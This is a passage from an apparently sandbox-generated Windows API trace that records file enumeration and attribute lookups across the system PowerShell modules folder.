cFileName="NetQos", cAlternateFileName="")) returned 1 [0191.824] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSecurity", cAlternateFileName="NETSEC~1")) returned 1 [0191.825] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc425b0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e95e9fc, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSwitchTeam", cAlternateFileName="NETSWI~1")) returned 1 [0191.825] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc426217, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetTCPIP", cAlternateFileName="")) returned 1 [0191.825] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc468c21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkConnectivityStatus", cAlternateFileName="NETWOR~1")) returned 1 [0191.825] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkSwitchManager", cAlternateFileName="NETWOR~2")) returned 1 [0191.826] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5046f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9aaec8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkTransition", cAlternateFileName="NETWOR~3")) returned 1 [0191.826] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc50532d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PcsvDevice", cAlternateFileName="PCSVDE~1")) returned 1 [0191.826] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PKI", cAlternateFileName="")) returned 1 [0191.826] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a46ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PnpDevice", cAlternateFileName="PNPDEV~1")) returned 1 [0191.826] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a53a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9f739d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrintManagement", cAlternateFileName="PRINTM~1")) returned 1 [0191.827] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc6cc509, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea1d607, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0191.827] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0191.827] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8049ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea69acb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0191.827] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc804db7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0191.828] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8051d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWorkflow", cAlternateFileName="PSWORK~1")) returned 1 [0191.828] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8055f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSWorkflowUtility", cAlternateFileName="PSWORK~2")) returned 1 [0191.828] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc90f57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScheduledTasks", cAlternateFileName="SCHEDU~1")) returned 1 [0191.828] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecureBoot", cAlternateFileName="SECURE~1")) returned 1 [0191.828] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c0cbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmbShare", cAlternateFileName="")) returned 1 [0191.829] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmbWitness", cAlternateFileName="SMBWIT~1")) returned 1 [0191.829] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c3b3e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eab5f8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartLayout", cAlternateFileName="STARTL~1")) returned 1 [0191.829] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c4795, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eadc202, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage", cAlternateFileName="")) returned 1 [0191.829] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLS", cAlternateFileName="")) returned 1 [0191.830] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c6b67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0191.862] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrustedPlatformModule", cAlternateFileName="TRUSTE~1")) returned 1 [0191.862] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfc9ca45b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0191.862] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VpnClient", cAlternateFileName="VPNCLI~1")) returned 1 [0191.862] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca67fa6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wdac", cAlternateFileName="")) returned 1 [0191.862] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca68f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsDeveloperLicense", cAlternateFileName="WINDOW~1")) returned 1 [0191.863] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca69a5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsErrorReporting", cAlternateFileName="WINDOW~2")) returned 1 [0191.863] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsSearch", cAlternateFileName="WINDOW~3")) returned 1 [0191.863] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca6b8d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb286c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate", cAlternateFileName="WINDOW~4")) returned 1 [0191.863] FindNextFileW (in: hFindFile=0x1ef704701c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0191.864] FindClose (in: hFindFile=0x1ef704701c0 | out: hFindFile=0x1ef704701c0) returned 1 [0191.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e290) returned 1 [0191.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0191.864] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0191.864] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0191.864] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0191.864] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0191.864] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0191.864] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0191.865] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0191.865] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", nBufferLength=0x45, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask", lpFilePart=0x0) returned 0x44 [0191.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.865] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppBackgroundTask" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appbackgroundtask"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfbe3ca03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e807470, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0191.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.865] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0191.865] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0191.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.865] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfbe3d0e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86a9bef, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.865] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0191.865] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", lpFilePart=0x0) returned 0x3d [0191.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.866] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0191.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.866] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0191.866] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x38, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0191.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.866] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appx"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9767faf7, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9767faf7, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.866] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AssignedAccess", nBufferLength=0x0, 